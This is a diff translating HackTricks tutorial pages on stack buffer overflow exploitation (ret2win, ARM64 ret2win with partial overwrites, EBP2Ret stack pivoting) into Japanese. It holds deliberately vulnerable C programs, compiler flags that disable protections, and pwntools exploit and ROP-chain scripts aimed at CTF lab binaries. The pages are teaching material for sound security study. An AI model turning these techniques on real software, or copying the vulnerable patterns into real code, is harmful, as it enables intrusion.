- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts` - 32ビット、スタック内のフラグ文字列のアドレスを変更して`puts`によって印刷されるようにします。
## Function pointers ## 関数ポインタ
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). 文字列ポインタと同様ですが、関数に適用されます。**スタックに呼び出される関数のアドレス**が含まれている場合、それを**変更する**ことが可能です(例:**`system`**を呼び出すために)。
You can find an example in: 以下に例があります:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## References ## 参考文献
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: **Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリです。目標は、特定の未呼び出しの関数を実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、`win``flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
### C Example ### Cの例
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している `win` 関数を考えてみましょう:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
void win() { void win() {
printf("Congratulations! You've called the win function.\n"); printf("Congratulations! You've called the win function.\n");
} }
void vulnerable_function() { void vulnerable_function() {
char buf[64]; char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
return 0; return 0;
} }
``` ```
このプログラムをスタック保護なしで、**ASLR** を無効にしてコンパイルするには、次のコマンドを使用できます:
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
- `-m32`: プログラムを32ビットバイナリとしてコンパイルしますこれはオプションですが、CTFチャレンジでは一般的です
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). - `-fno-stack-protector`: スタックオーバーフローに対する保護を無効にします。
- `-fno-stack-protector`: Disable protections against stack overflows. - `-z execstack`: スタック上のコードの実行を許可します。
- `-z execstack`: Allow execution of code on the stack. - `-no-pie`: 位置独立実行可能ファイルを無効にして、`win`関数のアドレスが変更されないようにします。
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change. - `-o vulnerable`: 出力ファイルの名前を`vulnerable`にします。
- `-o vulnerable`: Name the output file `vulnerable`.
### Python Exploit using Pwntools ### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function. エクスプロイトには、エクスプロイトを書くための強力なCTFフレームワークである**pwntools**を使用します。エクスプロイトスクリプトは、バッファをオーバーフローさせ、戻りアドレスを`win`関数のアドレスで上書きするペイロードを作成します。
```python ```python
from pwn import * from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査するための他のツールを使用できます。例えば、`objdump`を使用して次のようにできます:
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
```sh ```sh
objdump -d vulnerable | grep win objdump -d vulnerable | grep win
``` ```
このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20; Python スクリプトは、`vulnerable_function` によって処理されると、バッファがオーバーフローし、スタック上のリターンアドレスが `win` のアドレスで上書きされるように慎重に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. ## 保護
## Protections - [**PIE**](../../common-binary-protections-and-bypasses/pie/) **は無効にするべきです**。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**1 ニブル)です。
- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. ## その他の例と参考文献
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
## Other examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR - 32ビット、ASLRなし
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits with ASLR, with a leak of the bin address - ASLRありの64ビット、バイナリアドレスのリークあり
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR - 64ビット、ASLRなし
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow - 32ビット、ASLRなし、ダブル小オーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを拡大
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) - 32ビット、relro、カナリアなし、nx、pieなし、`fflush` のアドレスを `win` 関数ret2winで上書きするフォーマット文字列
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function - 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き1バイト
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function - 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き1バイト
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. - プログラムは、入力のサイズをチェックするために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) - 64ビット、relro、カナリアなし、nx、pie。`win` 関数ret2winを呼び出すための部分上書き
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions - arm64、PIE、`win` 関数は実際には 2 つの関数であるため、2 つの関数を呼び出す ROP ガジェット
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function - ARM64、オフバイワンで `win` 関数を呼び出す
## ARM64 Example ## ARM64 の例
{{#ref}} {{#ref}}
ret2win-arm64.md ret2win-arm64.md

View File

@ -2,92 +2,80 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in: arm64の紹介は以下を参照してください
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code&#x20; ## コード&#x20;
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
void win() { void win() {
printf("Congratulations!\n"); printf("Congratulations!\n");
} }
void vulnerable_function() { void vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
return 0; return 0;
} }
``` ```
PIEとカナリアなしでコンパイル:
Compile without pie and canary:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
``` ```
## オフセットの特定
## Finding the offset ### パターンオプション
### Pattern option この例は[**GEF**](https://github.com/bata24/gef)を使用して作成されました:
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
gefでgdbを起動し、パターンを作成して使用します
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
pattern create 200 pattern create 200
run run
``` ```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: arm64は、レジスタx30侵害されたにあるアドレスに戻ろうとします。これを利用してパターンオフセットを見つけることができます
```bash ```bash
pattern search $x30 pattern search $x30
``` ```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).** **オフセットは729x48です。**
### Stack offset option ### スタックオフセットオプション
Start by getting the stack address where the pc register is stored:
pcレジスタが格納されているスタックアドレスを取得することから始めます
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
b *vulnerable_function + 0xc b *vulnerable_function + 0xc
run run
info frame info frame
``` ```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: 次に、`read()`の後にブレークポイントを設定し、`read()`が実行されるまで続けて、13371337のようなパターンを設定します:
``` ```
b *vulnerable_function+28 b *vulnerable_function+28
c c
``` ```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory: このパターンがメモリにどこに保存されているかを見つけます:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** 次に: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
@ -95,16 +83,13 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
### Regular ### Regular
Get the address of the **`win`** function: **`win`** 関数のアドレスを取得します:
```bash ```bash
objdump -d ret2win | grep win objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64 ret2win: file format elf64-littleaarch64
00000000004006c4 <win>: 00000000004006c4 <win>:
``` ```
エクスプロイト:
Exploit:
```python ```python
from pwn import * from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1 ### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. 実際には、これはスタックに保存されたPCでオフバイ-2のようになります。すべてのリターンアドレスを上書きするのではなく、**最後の2バイトのみ**を`0x06c4`で上書きします。
```python ```python
from pwn import * from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. ARM64の別のオフバイワンの例は[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)で見つけることができ、これは架空の脆弱性における実際のオフバイ-**1**です。
## With PIE ## PIEあり
> [!TIP] > [!TIP]
> Compile the binary **without the `-no-pie` argument** > バイナリを**`-no-pie`引数なしでコンパイルしてください**
### Off-by-2 ### オフバイ-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: リークがないと、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを考慮すると、この場合、勝利関数へのオフセット(**0x7d4**)をリークし、そのオフセットを使用することが可能です:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python ```python
from pwn import * from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,65 +1,62 @@
# Stack Pivoting - EBP2Ret - EBP chaining # スタックピボット - EBP2Ret - EBPチェイニング
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. この技術は、**ベースポインタEBP**を操作する能力を利用して、EBPレジスタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンすることを目的としています。
As a reminder, **`leave`** basically means:
念のため、**`leave`**は基本的に次の意味です:
``` ```
mov ebp, esp mov ebp, esp
pop ebp pop ebp
ret ret
``` ```
そして、**EBPがスタックにある**ため、スタックを制御することでそれを制御することが可能です。
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret ### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合**に特に有用です。これは、関数が実行を終了する際の動作を利用します。
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ `fvuln`の実行中に、シェルコードのアドレスがあるメモリ領域を指す**偽のEBP**をスタックに注入することができれば(`pop`操作のために4バイトを加算、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作でESPが4減少し、**攻撃者がそこに保存したアドレスを指すことになります。**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. ここで、**2つのアドレスを知っておく必要があります**: ESPが向かうアドレスと、ESPが指すアドレスを書き込む必要がある場所です。
#### Exploit Construction #### 攻撃構築
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**。
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: 次に、**任意のコードを実行する**ために`ret`が使用するアドレスを知っておく必要があります。以下のように使用できます:
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. - 有効な[**ONE_GADGET**](https://github.com/david942j/one_gadget)アドレス。
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). - **`system()`**のアドレスの後に**4バイトのジャンク**と`"/bin/sh"`のアドレスx86ビット
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. - **`jump esp;`**ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))の後に**実行するシェルコード**。
- Some [**ROP**](../rop-return-oriented-programing/) chain - 一部の[**ROP**](../rop-return-oriented-programing/)チェーン。
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. 制御されたメモリのこれらのアドレスの前には、**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。
#### Off-By-One Exploit #### Off-By-One Exploit
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトと共有する必要があり、より制約のある条件で類似の操作が可能になります。\
Usually it's modified the byte 0x00t o jump as far as possible. 通常、0x00のバイトを変更してできるだけ遠くにジャンプします。
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。
### **EBP Chaining** ### **EBPチェーニング**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. したがって、スタックの`EBP`エントリに制御されたアドレスを配置し、`EIP``leave; ret`のアドレスを配置することで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**。
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: 今、**`ESP`**は望ましいアドレスを指して制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置することが可能です
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction - **`&(次の偽EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード
- **`system()`** -> Called by `ret` - **`system()`** -> `ret`によって呼び出される
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin - **`&(leave;ret)`** -> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始
- **`&("/bin/sh")`**-> Param fro `system` - **`&("/bin/sh")`**-> `system`のパラメータ
Basically this way it's possible to chain several fake EBPs to control the flow of the program. 基本的に、この方法で複数の偽EBPをチェーンしてプログラムのフローを制御することが可能です。
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. これは[ret2lib](../rop-return-oriented-programing/ret2lib/)のようなものですが、明らかな利点はなく、いくつかのエッジケースでは興味深いかもしれません。
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
さらに、ここにこの技術を使用して**スタックリーク**で勝利関数を呼び出す[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これはページからの最終的なペイロードです:
```python ```python
from pwn import * from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 POP_RSI_R15 = 0x401229
payload = flat( payload = flat(
0x0, # rbp (could be the address of anoter fake RBP) 0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI, POP_RDI,
0xdeadbeef, 0xdeadbeef,
POP_RSI_R15, POP_RSI_R15,
0xdeadc0de, 0xdeadc0de,
0x0, 0x0,
elf.sym['winner'] elf.sym['winner']
) )
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat( payload += flat(
buffer, # Load leak address in RBP buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
) )
pause() pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
## EBPは使用されない可能性がある
## EBP might not be used [**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができない**ため、EBPを制御することで動作するエクスプロイトは基本的に失敗します。\
これは、バイナリが最適化されると**プロローグとエピローグが変更される**ためです。
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
- **最適化されていない:**
```bash ```bash
push %ebp # save ebp push %ebp # save ebp
mov %esp,%ebp # set new ebp mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return ret # return
``` ```
- **最適化された:**
- **Optimized:**
```bash ```bash
push %ebx # save ebx push %ebx # save ebx
sub $0x100,%esp # increase stack size sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx pop %ebx # restore ebx
ret # return ret # return
``` ```
## RSPを制御する他の方法
## Other ways to control RSP ### **`pop rsp`** ガジェット
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)では、この技術を使用した例を見つけることができます。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp` ガジェット**があり、**スタックからのリーク**があります:
```python ```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments # This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts # The payload starts
payload = flat( payload = flat(
0, # r13 0, # r13
0, # r14 0, # r14
0, # r15 0, # r15
POP_RDI, POP_RDI,
0xdeadbeef, 0xdeadbeef,
POP_RSI_R15, POP_RSI_R15,
0xdeadc0de, 0xdeadc0de,
0x0, # r15 0x0, # r15
